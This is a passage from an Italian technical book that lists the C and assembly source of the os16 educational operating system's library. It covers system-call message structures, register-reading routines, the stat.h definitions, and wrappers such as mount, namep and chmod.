3330171     int          errln;
3330172     char         errfn[PATH_MAX];
3330173 } sysmsg_close_t;
3330174 //----------------------------------------------------------------------
3330175 typedef struct {
3330176     int          fdn_old;
3330177     int          ret;
3330178     int          errno;
3330179     int          errln;
3330180     char         errfn[PATH_MAX];
3330181 } sysmsg_dup_t;
3330182 //----------------------------------------------------------------------
3330183 typedef struct {
3330184     int          fdn_old;
```

```
3330185     int          fdn_new;
3330186     int          ret;
3330187     int          errno;
3330188     int          errln;
3330189     char         errfn[PATH_MAX];
3330190 } sysmsg_dup2_t;
3330191 //----------------------------------------------------------------------
3330192 typedef struct {
3330193     char         path[PATH_MAX];
3330194     int          argc;
3330195     int          envc;
3330196     char         arg_data[ARG_MAX/2];
3330197     char         env_data[ARG_MAX/2];
3330198     uid_t        uid;
3330199     uid_t        euid;
3330200     int          ret;
3330201     int          errno;
3330202     int          errln;
3330203     char         errfn[PATH_MAX];
3330204 } sysmsg_exec_t;
3330205 //----------------------------------------------------------------------
3330206 typedef struct {
3330207     int          status;
3330208 } sysmsg_exit_t;
3330209 //----------------------------------------------------------------------
3330210 typedef struct {
3330211     int          fdn;
3330212     mode_t       mode;
3330213     int          ret;
3330214     int          errno;
3330215     int          errln;
3330216     char         errfn[PATH_MAX];
3330217 } sysmsg_fchmod_t;
3330218 //----------------------------------------------------------------------
3330219 typedef struct {
3330220     int          fdn;
3330221     uid_t        uid;
3330222     uid_t        gid;
3330223     int          ret;
3330224     int          errno;
3330225     int          errln;
3330226     char         errfn[PATH_MAX];
3330227 } sysmsg_fchown_t;
3330228 //----------------------------------------------------------------------
3330229 typedef struct {
3330230     int          fdn;
3330231     int          cmd;
3330232     int          arg;
3330233     int          ret;
3330234     int          errno;
3330235     int          errln;
3330236     char         errfn[PATH_MAX];
```

```
3330237 } sysmsg_fcntl_t;
3330238 //----------------------------------------------------------------------
3330239 typedef struct {
3330240     pid_t         ret;
3330241     int           errno;
3330242     int           errln;
3330243     char          errfn[PATH_MAX];
3330244 } sysmsg_fork_t;
3330245 //----------------------------------------------------------------------
3330246 typedef struct {
3330247     int           fdn;
3330248     struct stat   stat;
3330249     int           ret;
3330250     int           errno;
3330251     int           errln;
3330252     char          errfn[PATH_MAX];
3330253 } sysmsg_fstat_t;
3330254 //----------------------------------------------------------------------
3330255 typedef struct {
3330256     pid_t         pid;
3330257     int           signal;
3330258     int           ret;
3330259     int           errno;
3330260     int           errln;
3330261     char          errfn[PATH_MAX];
3330262 } sysmsg_kill_t;
3330263 //----------------------------------------------------------------------
3330264 typedef struct {
3330265     char          path_old[PATH_MAX];
3330266     char          path_new[PATH_MAX];
3330267     int           ret;
3330268     int           errno;
3330269     int           errln;
3330270     char          errfn[PATH_MAX];
3330271 } sysmsg_link_t;
3330272 //----------------------------------------------------------------------
3330273 typedef struct {
3330274     int           fdn;
3330275     off_t         offset;
3330276     int           whence;
3330277     int           ret;
3330278     int           errno;
3330279     int           errln;
3330280     char          errfn[PATH_MAX];
3330281 } sysmsg_lseek_t;
3330282 //----------------------------------------------------------------------
3330283 typedef struct {
3330284     char          path[PATH_MAX];
3330285     mode_t        mode;
3330286     int           ret;
3330287     int           errno;
3330288     int           errln;
```

```
3330289     char        errfn[PATH_MAX];
3330290 } sysmsg_mkdir_t;
3330291 //----------------------------------------------------------------------
3330292 typedef struct {
3330293     char        path[PATH_MAX];
3330294     mode_t      mode;
3330295     dev_t       device;
3330296     int         ret;
3330297     int         errno;
3330298     int         errln;
3330299     char        errfn[PATH_MAX];
3330300 } sysmsg_mknod_t;
3330301 //----------------------------------------------------------------------
3330302 typedef struct {
3330303     char        path_dev[PATH_MAX];
3330304     char        path_mnt[PATH_MAX];
3330305     int         options;
3330306     int         ret;
3330307     int         errno;
3330308     int         errln;
3330309     char        errfn[PATH_MAX];
3330310 } sysmsg_mount_t;
3330311 //----------------------------------------------------------------------
3330312 typedef struct {
3330313     char        path[PATH_MAX];
3330314     int         flags;
3330315     mode_t      mode;
3330316     int         ret;
3330317     int         errno;
3330318     int         errln;
3330319     char        errfn[PATH_MAX];
3330320 } sysmsg_open_t;
3330321 //----------------------------------------------------------------------
3330322 typedef struct {
3330323     int         fdn;
3330324     char        buffer[BUFSIZ];
3330325     size_t      count;
3330326     int         eof;
3330327     ssize_t     ret;
3330328     int         errno;
3330329     int         errln;
3330330     char        errfn[PATH_MAX];
3330331 } sysmsg_read_t;
3330332 //----------------------------------------------------------------------
3330333 typedef struct {
3330334     uid_t       euid;
3330335     int         ret;
3330336     int         errno;
3330337     int         errln;
3330338     char        errfn[PATH_MAX];
3330339 } sysmsg_seteuid_t;
3330340 //----------------------------------------------------------------------
```

```
3330341 typedef struct {
3330342     uid_t         uid;
3330343     uid_t         euid;
3330344     uid_t         suid;
3330345     int           ret;
3330346     int           errno;
3330347     int           errln;
3330348     char          errfn[PATH_MAX];
3330349 } sysmsg_setuid_t;
3330350 //----------------------------------------------------------------------
3330351 typedef struct {
3330352     sighandler_t handler;
3330353     int           signal;
3330354     sighandler_t ret;
3330355     int           errno;
3330356     int           errln;
3330357     char          errfn[PATH_MAX];
3330358 } sysmsg_signal_t;
3330359 //----------------------------------------------------------------------
3330360 #define WAKEUP_EVENT_SIGNAL  1    // 1, 2, 4, 8, 16,...
3330361 #define WAKEUP_EVENT_TIMER   2    // so that can be 'OR' combined.
3330362 #define WAKEUP_EVENT_TTY     4    //
3330363 typedef struct {
3330364     int           events;
3330365     int           signal;
3330366     unsigned int seconds;
3330367     time_t        ret;
3330368 } sysmsg_sleep_t;
3330369 //----------------------------------------------------------------------
3330370 typedef struct {
3330371     char          path[PATH_MAX];
3330372     struct stat  stat;
3330373     int           ret;
3330374     int           errno;
3330375     int           errln;
3330376     char          errfn[PATH_MAX];
3330377 } sysmsg_stat_t;
3330378 //----------------------------------------------------------------------
3330379 typedef struct {
3330380     time_t        ret;
3330381 } sysmsg_time_t;
3330382 //----------------------------------------------------------------------
3330383 typedef struct {
3330384     time_t        timer;
3330385     int           ret;
3330386 } sysmsg_stime_t;
3330387 //----------------------------------------------------------------------
3330388 typedef struct {
3330389     uid_t         uid;         // Read user ID.
3330390     uid_t         euid;        // Effective user ID.
3330391     uid_t         suid;        // Saved user ID.
3330392     pid_t         pid;         // Process ID.
```

```
3330393     pid_t        ppid;        // Parent PID.
3330394     pid_t        pgrp;        // Process group.
3330395     mode_t       umask;       // Access permission mask.
3330396     char         path_cwd[PATH_MAX];
3330397 } sysmsg_uarea_t;
3330398 //----------------------------------------------------------------------
3330399 typedef struct {
3330400     mode_t       umask;
3330401     mode_t       ret;
3330402 } sysmsg_umask_t;
3330403 //----------------------------------------------------------------------
3330404 typedef struct {
3330405     char         path_mnt[PATH_MAX];
3330406     int          ret;
3330407     int          errno;
3330408     int          errln;
3330409     char         errfn[PATH_MAX];
3330410 } sysmsg_umount_t;
3330411 //----------------------------------------------------------------------
3330412 typedef struct {
3330413     char         path[PATH_MAX];
3330414     int          ret;
3330415     int          errno;
3330416     int          errln;
3330417     char         errfn[PATH_MAX];
3330418 } sysmsg_unlink_t;
3330419 //----------------------------------------------------------------------
3330420 typedef struct {
3330421     int          status;
3330422     pid_t        ret;
3330423     int          errno;
3330424     int          errln;
3330425     char         errfn[PATH_MAX];
3330426 } sysmsg_wait_t;
3330427 //----------------------------------------------------------------------
3330428 typedef struct {
3330429     int          fdn;
3330430     char         buffer[BUFSIZ];
3330431     size_t       count;
3330432     ssize_t      ret;
3330433     int          errno;
3330434     int          errln;
3330435     char         errfn[PATH_MAX];
3330436 } sysmsg_write_t;
3330437 //----------------------------------------------------------------------
3330438 typedef struct {
3330439     char         c;
3330440 } sysmsg_zpchar_t;
3330441 //----------------------------------------------------------------------
3330442 typedef struct {
3330443     char         string[BUFSIZ];
3330444 } sysmsg_zpstring_t;
```

```
3330445 //----------------------------------------------------------------------
3330446 void  heap_clear   (void);
3330447 int   heap_min     (void);
3330448 void  input_line   (char *line, char *prompt, size_t size, int type);
3330449 int   mount        (const char *path_dev, const char *path_mnt,
3330450                     int options);
3330451 int   namep        (const char *name, char *path, size_t size);
3330452 void  process_info (void);
3330453 void  sys          (int syscallnr, void *message, size_t size);
3330454 int   umount       (const char *path_mnt);
3330455 void  z_perror     (const char *string);
3330456 int   z_printf     (const char *restrict format, ...);
3330457 int   z_putchar    (int c);
3330458 int   z_puts       (const char *string);
3330459 int   z_vprintf    (const char *restrict format, va_list arg);
3330460 //int  z_vsprintf   (char *restrict string, const char *restrict format,
3330461 //                    va_list arg);
3330462 //----------------------------------------------------------------------
3330463
3330464 #endif
```

106.12.1 lib/sys/os16/_bp.s

Si veda la sezione 99.12.

```
3340001 .global __bp
3340002 .text
3340003 ;-----------------------------------------------------------------------
3340004 ; Read the base pointer, as it is before this call.
3340005 ;-----------------------------------------------------------------------
3340006 .align 2
3340007 __bp:
3340008     enter #2, #0        ; 1 local variable.
3340009     pushf
3340010     cli
3340011     pusha
3340012     mov   ax, [bp]      ; The previous BP value is saved at *BP.
3340013     mov   -2[bp], ax    ; Save the calculated old SP value.
3340014     popa
3340015     popf
3340016     mov   ax, -2[bp]    ; AX is the function return value.
3340017     leave
3340018     ret
```

106.12.2 lib/sys/os16/_cs.s

Si veda la sezione 99.12.

```
3350001 .global __cs
3350002 .text
3350003 ;----------------------------------------------------------------------
3350004 ; Read the code segment value.
3350005 ;----------------------------------------------------------------------
3350006 .align 2
3350007 __cs:
3350008     mov ax, cs
3350009     ret
```

106.12.3 lib/sys/os16/_ds.s

Si veda la sezione 99.12.

```
3360001 .global __ds
3360002 .text
3360003 ;----------------------------------------------------------------------
3360004 ; Read the data segment value.
3360005 ;----------------------------------------------------------------------
3360006 .align 2
3360007 __ds:
3360008     mov ax, ds
3360009     ret
```

106.12.4 lib/sys/os16/_es.s

Si veda la sezione 99.12.

```
3370001 .global __es
3370002 .text
3370003 ;----------------------------------------------------------------------
3370004 ; Read the extra segment value.
3370005 ;----------------------------------------------------------------------
3370006 .align 2
3370007 __es:
3370008     mov ax, es
3370009     ret
```

106.12.5 lib/sys/os16/_seg_d.s

Si veda la sezione 99.91.

```
3380001 .global __seg_d
3380002 .text
3380003 ;------------------------------------------------------------------------
3380004 ; Read the data segment value.
3380005 ;------------------------------------------------------------------------
3380006 .align 2
3380007 __seg_d:
3380008     mov ax, ds
3380009     ret
```

106.12.6 lib/sys/os16/_seg_i.s

Si veda la sezione 99.91.

```
3390001 .global __seg_i
3390002 .text
3390003 ;------------------------------------------------------------------------
3390004 ; Read the instruction segment value.
3390005 ;------------------------------------------------------------------------
3390006 .align 2
3390007 __seg_i:
3390008     mov ax, cs
3390009     ret
```

106.12.7 lib/sys/os16/_sp.s

Si veda la sezione 99.12.

```
3400001 .global __sp
3400002 .text
3400003 ;------------------------------------------------------------------------
3400004 ; Read the stack pointer, as it is before this call.
3400005 ;------------------------------------------------------------------------
3400006 .align 2
3400007 __sp:
3400008     enter #2, #0        ; 1 local variable.
3400009     pushf
3400010     cli
3400011     pusha
3400012     mov   ax, bp        ; The previous SP is equal to BP + 2 + 2.
3400013     add   ax, #4        ;
3400014     mov   -2[bp], ax    ; Save the calculated old SP value.
3400015     popa
3400016     popf
3400017     mov   ax, -2[bp]    ; AX is the function return value.
3400018     leave
3400019     ret
```

106.12.8 lib/sys/os16/_ss.s

Si veda la sezione 99.12.

```
3410001 .global __ss
3410002 .text
3410003 ;------------------------------------------------------------------------
3410004 ; Read the stack segment value.
3410005 ;------------------------------------------------------------------------
3410006 .align 2
3410007 __ss:
3410008     mov ax, ss
3410009     ret
```

106.12.9 lib/sys/os16/heap_clear.c

Si veda la sezione 99.57.

```
3420001 #include <sys/os16.h>
3420002 //----------------------------------------------------------------------
3420003 extern uint16_t _end;
3420004 //----------------------------------------------------------------------
3420005 void heap_clear (void)
3420006 {
3420007     uint16_t *a = &_end;
3420008     uint16_t *z = (void *) (sp () - 2);
3420009     for (; a < z; a++)
3420010       {
3420011         *a = 0xFFFF;
3420012       }
3420013 }
```

106.12.10 lib/sys/os16/heap_min.c

Si veda la sezione 99.57.

```
3430001 #include <sys/os16.h>
3430002 //----------------------------------------------------------------------
3430003 extern uint16_t _end;
3430004 //----------------------------------------------------------------------
3430005 int heap_min (void)
3430006 {
3430007     uint16_t *a = &_end;
3430008     uint16_t *z = (void *) (sp () - 2);
3430009     int      count;
3430010     for (count = 0; a < z && *a == 0xFFFF; a++, count++);
3430011     return (count * 2);
3430012 }
```

106.12.11 lib/sys/os16/input_line.c

Si veda la sezione 99.60.

```
3440001 #include <sys/os16.h>
3440002 #include <string.h>
3440003 #include <stdio.h>
3440004 //----------------------------------------------------------------------
3440005 void
3440006 input_line (char *line, char *prompt, size_t size, int type)
3440007 {
3440008     int   i;    // Index inside the 'line[]' array.
3440009     int   c;    // Character received from keyboard.
3440010
3440011     if (prompt != NULL || strlen (prompt) > 0)
3440012       {
3440013         printf ("%s ", prompt);
3440014       }
3440015     //
3440016     // Loop for character input. Please note that the loop
3440017     // will exit only through 'break', where the input line
3440018     // will also be correctly terminated with '\0'.
3440019     //
3440020     for (i = 0;; i++)
3440021       {
3440022         c = getchar ();
3440023         //
3440024         // Control codes.
3440025         //
3440026         if (c == EOF)
3440027           {
3440028             line[i] = 0;
3440029             break;
3440030           }
3440031         else if (c == 4)        // [Ctrl D]
3440032           {
3440033             line[i] = 0;
3440034             break;
3440035           }
3440036         else if (c == 10)       // [Enter]
3440037           {
3440038             line[i] = 0;
3440039             break;
3440040           }
3440041         else if (c == 8)        // [Backspace]
3440042           {
3440043             if (i == 0)
3440044               {
3440045                 //
3440046                 // It is already the lowest position, so the video
3440047                 // cursor is moved forward again, so that the prompt
3440048                 // is not overwritten.
3440049                 // The index is set to -1, so that on the next loop,
```

```
3440050                     // it will be again zero.
3440051                     //
3440052                     printf (" ");
3440053                     i = -1;
3440054                   }
3440055                 else
3440056                   {
3440057                     i -= 2;
3440058                   }
3440059                 continue;
3440060               }
3440061             //
3440062             // If 'i' is equal 'size - 1', it is not allowed to continue
3440063             // typing.
3440064             //
3440065             if (i == (size - 1))
3440066               {
3440067                 //
3440068                 // Ignore typing, move back the cursor, delete the character
3440069                 // typed and move back again.
3440070                 //
3440071                 printf ("\b \b");
3440072                 i--;
3440073                 continue;
3440074               }
3440075             //
3440076             // Typing is allowed.
3440077             //
3440078             line[i] = c;
3440079             //
3440080             // Verify if it should be hidden.
3440081             //
3440082             if (type == INPUT_LINE_HIDDEN)
3440083               {
3440084                 printf ("\b ");      // Space: at least you see something.
3440085               }
3440086             else if (type == INPUT_LINE_STARS)
3440087               {
3440088                 printf ("\b*");
3440089               }
3440090         }
3440091 }
```

106.12.12 lib/sys/os16/mount.c

Si veda la sezione 98.27.

```
3450001 #include <sys/types.h>
3450002 #include <errno.h>
3450003 #include <sys/os16.h>
3450004 #include <stddef.h>
```

```
3450005 #include <string.h>
3450006 #include <const.h>
3450007 //----------------------------------------------------------------------
3450008 int
3450009 mount (const char *path_dev, const char *path_mnt, int options)
3450010 {
3450011     sysmsg_mount_t msg;
3450012     //
3450013     strncpy (msg.path_dev, path_dev, PATH_MAX);
3450014     strncpy (msg.path_mnt, path_mnt, PATH_MAX);
3450015     msg.options = options;
3450016     msg.ret     = 0;
3450017     msg.errno   = 0;
3450018     //
3450019     sys (SYS_MOUNT, &msg, (sizeof msg));
3450020     //
3450021     errno = msg.errno;
3450022     errln = msg.errln;
3450023     strncpy (errfn, msg.errfn, PATH_MAX);
3450024     return (msg.ret);
3450025 }
```

106.12.13 lib/sys/os16/namep.c

Si veda la sezione 99.74.

```
3460001 #include <sys/os16.h>
3460002 #include <stdlib.h>
3460003 #include <errno.h>
3460004 #include <unistd.h>
3460005 //----------------------------------------------------------------------
3460006 int
3460007 namep (const char *name, char *path, size_t size)
3460008 {
3460009     char  command[PATH_MAX];
3460010     char *env_path;
3460011     int   p;            // Index used inside the path environment.
3460012     int   c;            // Index used inside the command string.
3460013     int   status;
3460014     //
3460015     // Check for valid input.
3460016     //
3460017     if (name == NULL || name[0] == 0 || path == NULL || name == path)
3460018       {
3460019         errset (EINVAL);                // Invalid argument.
3460020         return (-1);
3460021       }
3460022     //
3460023     // Check if the original command contains at least a '/'. Otherwise
3460024     // a scan for the environment variable 'PATH' must be done.
3460025     //
```

```
3460026     if (strchr (name, '/') == NULL)
3460027       {
3460028         //
3460029         // Ok: no '/' there. Get the environment variable 'PATH'.
3460030         //
3460031         env_path = getenv ("PATH");
3460032         if (env_path == NULL)
3460033           {
3460034             //
3460035             // There is no 'PATH' environment value.
3460036             //
3460037             errset (ENOENT);            // No such file or directory.
3460038             return (-1);
3460039           }
3460040         //
3460041         // Scan paths and try to find a file with that name.
3460042         //
3460043         for (p = 0; env_path[p] != 0;)
3460044           {
3460045             for (c = 0;
3460046                  c < (PATH_MAX - strlen(name) - 2) &&
3460047                  env_path[p] != 0                  &&
3460048                  env_path[p] != ':';
3460049                  c++, p++)
3460050               {
3460051                 command[c] = env_path[p];
3460052               }
3460053             //
3460054             // If the loop is ended because the command array does not
3460055             // have enough room for the full path, then must return an
3460056             // error.
3460057             //
3460058             if (env_path[p] != ':' && env_path[p] != 0)
3460059               {
3460060                 errset (ENAMETOOLONG);  // Filename too long.
3460061                 return (-1);
3460062               }
3460063             //
3460064             // The command array has enough space. At index 'c' must
3460065             // place a zero, to terminate current string.
3460066             //
3460067             command[c] = 0;
3460068             //
3460069             // Add the rest of the path.
3460070             //
3460071             strcat (command, "/");
3460072             strcat (command, name);
3460073             //
3460074             // Verify to have something with that full path name.
3460075             //
3460076             status = access (command, F_OK);
3460077             if (status == 0)
```

```
3460078                 {
3460079                   //
3460080                   // Verify to have enough room inside the destination
3460081                   // path.
3460082                   //
3460083                   if (strlen (command) >= size)
3460084                     {
3460085                       //
3460086                       // Sorry: too big. There must be room also for
3460087                       // the string termination null character.
3460088                       //
3460089                       errset (ENAMETOOLONG);      // Filename too long.
3460090                       return (-1);
3460091                     }
3460092                   //
3460093                   // Copy the path and return.
3460094                   //
3460095                   strncpy (path, command, size);
3460096                   return (0);
3460097                 }
3460098               //
3460099               // That path was not good: try again. But before returning
3460100               // to the external loop, must verify if 'p' is to be
3460101               // incremented, after a ':', because the external loop
3460102               // does not touch the index 'p',
3460103               //
3460104               if (env_path[p] == ':')
3460105                 {
3460106                   p++;
3460107                 }
3460108             }
3460109           //
3460110           // At this point, there is no match with the paths.
3460111           //
3460112           errset (ENOENT);                // No such file or directory.
3460113           return (-1);
3460114         }
3460115       //
3460116       // At this point, a path was given and the environment variable
3460117       // 'PATH' was not scanned. Just copy the same path. But must verify
3460118       // that the receiving path has enough room for it.
3460119       //
3460120       if (strlen (name) >= size)
3460121         {
3460122           //
3460123           // Sorry: too big.
3460124           //
3460125           errset (ENAMETOOLONG);  // Filename too long.
3460126           return (-1);
3460127         }
3460128       //
3460129       // Ok: copy and return.
```

```
3460130      //
3460131      strncpy (path, name, size);
3460132      return (0);
3460133  }
```

106.12.14 lib/sys/os16/process_info.c

Si veda la sezione 99.79.

```
3470001  #include <sys/os16.h>
3470002  #include <stdio.h>
3470003  
3470004  extern uint16_t _edata;
3470005  extern uint16_t _end;
3470006  //----------------------------------------------------------------------
3470007  void
3470008  process_info (void)
3470009  {
3470010      printf ("cs=%04x ds=%04x ss=%04x es=%04x bp=%04x sp=%04x ",
3470011              cs (), ds (), ss (), es (), bp (), sp ());
3470012      printf ("edata=%04x ebss=%04x heap=%04x\n",
3470013              (int) &_edata, (int) &_end, heap_min ());
3470014  }
```

106.12.15 lib/sys/os16/sys.s

Si veda la sezione 98.37.

```
3480001  .global _sys
3480002  .text
3480003  ;-----------------------------------------------------------------------
3480004  ; Call a system call.
3480005  ;
3480006  ; Please remember that system calls should never be used (called) inside
3480007  ; the kernel code, because system calls cannot be nested for the os16
3480008  ; simple architecture!
3480009  ; If a particular function is necessary inside the kernel, that usually
3480010  ; is made by a system call, an appropriate k_...() function must be
3480011  ; made, to avoid the problem.
3480012  ;
3480013  ;-----------------------------------------------------------------------
3480014  .align 2
3480015  _sys:
3480016      int   #0x80
3480017      ret
```

106.12.16 lib/sys/os16/umount.c

Si veda la sezione 98.27.

```
3490001 #include <sys/types.h>
3490002 #include <errno.h>
3490003 #include <sys/os16.h>
3490004 #include <stddef.h>
3490005 #include <string.h>
3490006 //----------------------------------------------------------------------
3490007 int
3490008 umount (const char *path_mnt)
3490009 {
3490010     sysmsg_umount_t msg;
3490011     //
3490012     strncpy (msg.path_mnt, path_mnt, PATH_MAX);
3490013     msg.ret     = 0;
3490014     msg.errno   = 0;
3490015     //
3490016     sys (SYS_UMOUNT, &msg, (sizeof msg));
3490017     //
3490018     errno = msg.errno;
3490019     errln = msg.errln;
3490020     strncpy (errfn, msg.errfn, PATH_MAX);
3490021     return (msg.ret);
3490022 }
```

106.12.17 lib/sys/os16/z_perror.c

Si veda la sezione 98.45.

```
3500001 #include <sys/os16.h>
3500002 #include <errno.h>
3500003 #include <stddef.h>
3500004 #include <string.h>
3500005 //----------------------------------------------------------------------
3500006 void
3500007 z_perror (const char *string)
3500008 {
3500009     //
3500010     // If errno is zero, there is nothing to show.
3500011     //
3500012     if (errno == 0)
3500013       {
3500014         return;
3500015       }
3500016     //
3500017     // Show the string if there is one.
3500018     //
3500019     if (string != NULL && strlen (string) > 0)
3500020       {
```

```
3500021            z_printf ("%s: ", string);
3500022          }
3500023        //
3500024        // Show the translated error.
3500025        //
3500026        if (errfn[0] != 0 && errln != 0)
3500027          {
3500028            z_printf ("[%s:%u:%i] %s\n",
3500029                      errfn, errln, errno, strerror (errno));
3500030          }
3500031        else
3500032          {
3500033            z_printf ("[%i] %s\n", errno, strerror (errno));
3500034          }
3500035    }
```

106.12.18 lib/sys/os16/z_printf.c

Si veda la sezione 98.45.

```
3510001    #include <sys/os16.h>
3510002    //----------------------------------------------------------------------
3510003    int
3510004    z_printf (char *format, ...)
3510005    {
3510006        va_list ap;
3510007        va_start (ap, format);
3510008        return z_vprintf (format, ap);
3510009    }
```

106.12.19 lib/sys/os16/z_putchar.c

Si veda la sezione 98.45.

```
3520001    #include <sys/os16.h>
3520002    //----------------------------------------------------------------------
3520003    int
3520004    z_putchar (int c)
3520005    {
3520006        sysmsg_zpchar_t msg;
3520007        msg.c = c;
3520008        sys (SYS_ZPCHAR, &msg, (sizeof msg));
3520009        return (c);
3520010    }
```

106.12.20 lib/sys/os16/z_puts.c

«

Si veda la sezione 98.45.

```
3530001 #include <sys/os16.h>
3530002 //----------------------------------------------------------------------
3530003 int
3530004 z_puts (char *string)
3530005 {
3530006     unsigned int i;
3530007     for (i = 0; string[i] != 0; string++)
3530008       {
3530009         z_putchar ((int) string[i]);
3530010       }
3530011     z_putchar ((int) '\n');
3530012     return (1);
3530013 }
```

106.12.21 lib/sys/os16/z_vprintf.c

«

Si veda la sezione 98.45.

```
3540001 #include <sys/os16.h>
3540002 //----------------------------------------------------------------------
3540003 int
3540004 z_vprintf (char *format, va_list arg)
3540005 {
3540006     int                         ret;
3540007     sysmsg_zpstring_t msg;
3540008     msg.string[0] = 0;
3540009     ret = vsprintf (msg.string, format, arg);
3540010     sys (SYS_ZPSTRING, &msg, (sizeof msg));
3540011     return ret;
3540012 }
```

106.13 os16: «lib/sys/stat.h»

«

Si veda la sezione 102.2.

```
3550001 #ifndef _SYS_STAT_H
3550002 #define _SYS_STAT_H     1
3550003
3550004 #include <restrict.h>
3550005 #include <const.h>
3550006 #include <sys/types.h>  // dev_t
3550007                         // off_t
3550008                         // blkcnt_t
3550009                         // blksize_t
3550010                         // ino_t
3550011                         // mode_t
```

```
3550012                         // nlink_t
3550013                         // uid_t
3550014                         // gid_t
3550015                         // time_t
3550016 //----------------------------------------------------------------------
3550017 // File type.
3550018 //----------------------------------------------------------------------
3550019 #define S_IFMT   0170000        // File type mask.
3550020 //
3550021 #define S_IFBLK  0060000        // Block device file.
3550022 #define S_IFCHR  0020000        // Character device file.
3550023 #define S_IFIFO  0010000        // Pipe (FIFO) file.
3550024 #define S_IFREG  0100000        // Regular file.
3550025 #define S_IFDIR  0040000        // Directory.
3550026 #define S_IFLNK  0120000        // Symbolic link.
3550027 #define S_IFSOCK 0140000        // Unix domain socket.
3550028 //----------------------------------------------------------------------
3550029 // Owner user access permissions.
3550030 //----------------------------------------------------------------------
3550031 #define S_IRWXU  0000700        // Owner user access permissions mask.
3550032 //
3550033 #define S_IRUSR  0000400        // Owner user read access permission.
3550034 #define S_IWUSR  0000200        // Owner user write access permission.
3550035 #define S_IXUSR  0000100        // Owner user execution or cross perm.
3550036 //----------------------------------------------------------------------
3550037 // Group owner access permissions.
3550038 //----------------------------------------------------------------------
3550039 #define S_IRWXG  0000070        // Owner group access permissions mask.
3550040 //
3550041 #define S_IRGRP  0000040        // Owner group read access permission.
3550042 #define S_IWGRP  0000020        // Owner group write access permission.
3550043 #define S_IXGRP  0000010        // Owner group execution or cross perm.
3550044 //----------------------------------------------------------------------
3550045 // Other users access permissions.
3550046 //----------------------------------------------------------------------
3550047 #define S_IRWXO  0000007        // Other users access permissions mask.
3550048 //
3550049 #define S_IROTH  0000004        // Other users read access permission.
3550050 #define S_IWOTH  0000002        // Other users write access permissions.
3550051 #define S_IXOTH  0000001        // Other users execution or cross perm.
3550052 //----------------------------------------------------------------------
3550053 // S-bit: in this case there is no mask to select all of them.
3550054 //----------------------------------------------------------------------
3550055 #define S_ISUID  0004000        // S-UID.
3550056 #define S_ISGID  0002000        // S-GID.
3550057 #define S_ISVTX  0001000        // Sticky.
3550058 //----------------------------------------------------------------------
3550059 // Macro-instructions to verify the type of file.
3550060 //----------------------------------------------------------------------
3550061 #define S_ISBLK(m)    (((m) & S_IFMT) == S_IFBLK)    // Block device.
3550062 #define S_ISCHR(m)    (((m) & S_IFMT) == S_IFCHR)    // Character device.
3550063 #define S_ISFIFO(m)   (((m) & S_IFMT) == S_IFIFO)    // FIFO.
```

```
3550064 #define S_ISREG(m)    (((m) & S_IFMT) == S_IFREG)   // Regular file.
3550065 #define S_ISDIR(m)    (((m) & S_IFMT) == S_IFDIR)   // Directory.
3550066 #define S_ISLNK(m)    (((m) & S_IFMT) == S_IFLNK)   // Symbolic link.
3550067 #define S_ISSOCK(m)   (((m) & S_IFMT) == S_IFSOCK)  // Socket.
3550068 //----------------------------------------------------------------------
3550069 // Structure 'stat'.
3550070 //----------------------------------------------------------------------
3550071 struct stat {
3550072     dev_t     st_dev;       // Device containing the file.
3550073     ino_t     st_ino;       // File serial number (inode number).
3550074     mode_t    st_mode;      // File type and permissions.
3550075     nlink_t   st_nlink;     // Links to the file.
3550076     uid_t     st_uid;       // Owner user id.
3550077     gid_t     st_gid;       // Owner group id.
3550078     dev_t     st_rdev;      // Device number if it is a device file.
3550079     off_t     st_size;      // File size.
3550080     time_t    st_atime;     // Last access time.
3550081     time_t    st_mtime;     // Last modification time.
3550082     time_t    st_ctime;     // Last inode modification.
3550083     blksize_t st_blksize;   // Block size for I/O operations.
3550084     blkcnt_t  st_blocks;    // File size / block size.
3550085 };
3550086 //----------------------------------------------------------------------
3550087 // Function prototypes.
3550088 //----------------------------------------------------------------------
3550089 int    chmod  (const char *path, mode_t mode);
3550090 int    fchmod (int fdn, mode_t mode);
3550091 int    fstat  (int fdn, struct stat *buffer);
3550092 int    lstat  (const char *restrict path, struct stat *restrict buffer);
3550093 int    mkdir  (const char *path, mode_t mode);
3550094 int    mkfifo (const char *path, mode_t mode);
3550095 int    mknod  (const char *path, mode_t mode, dev_t dev);
3550096 int    stat   (const char *restrict path, struct stat *restrict buffer);
3550097 mode_t umask  (mode_t mask);
3550098 
3550099 #endif // _SYS_STAT_H
```

106.13.1 lib/sys/stat/chmod.c

Si veda la sezione 98.4.

```
3560001 #include <sys/stat.h>
3560002 #include <string.h>
3560003 #include <const.h>
3560004 #include <sys/os16.h>
3560005 #include <errno.h>
3560006 #include <limits.h>
3560007 //----------------------------------------------------------------------
3560008 int
3560009 chmod (const char *path, mode_t mode)
3560010 {
```

```
3560011     sysmsg_chmod_t msg;
3560012     //
3560013     strncpy (msg.path, path, PATH_MAX);
3560014     msg.mode = mode;
3560015     //
3560016     sys (SYS_CHMOD, &msg, (sizeof msg));
3560017     //
3560018     errno = msg.errno;
3560019     errln = msg.errln;
3560020     strncpy (errfn, msg.errfn, PATH_MAX);
3560021     return (msg.ret);
3560022 }
```

106.13.2 lib/sys/stat/fchmod.c

Si veda la sezione 98.4.

```
3570001 #include <sys/stat.h>
3570002 #include <string.h>
3570003 #include <const.h>
3570004 #include <sys/os16.h>
3570005 #include <errno.h>
3570006 #include <limits.h>
3570007 //----------------------------------------------------------------------
3570008 int
3570009 fchmod (int fdn, mode_t mode)
3570010 {
3570011     sysmsg_fchmod_t msg;
3570012     //
3570013     msg.fdn  = fdn;
3570014     msg.mode = mode;
3570015     //
3570016     sys (SYS_FCHMOD, &msg, (sizeof msg));
3570017     //
3570018     errno = msg.errno;
3570019     errln = msg.errln;
3570020     strncpy (errfn, msg.errfn, PATH_MAX);
3570021     return (msg.ret);
3570022 }
```

106.13.3 lib/sys/stat/fstat.c

Si veda la sezione 98.36.

```
3580001 #include <unistd.h>
3580002 #include <errno.h>
3580003 #include <sys/os16.h>
3580004 #include <string.h>
3580005 //----------------------------------------------------------------------
```

```
3580006 int
3580007 fstat (int fdn, struct stat *buffer)
3580008 {
3580009     sysmsg_fstat_t msg;
3580010     //
3580011     msg.fdn             = fdn;
3580012     msg.stat.st_dev     = buffer->st_dev;
3580013     msg.stat.st_ino     = buffer->st_ino;
3580014     msg.stat.st_mode    = buffer->st_mode;
3580015     msg.stat.st_nlink   = buffer->st_nlink;
3580016     msg.stat.st_uid     = buffer->st_uid;
3580017     msg.stat.st_gid     = buffer->st_gid;
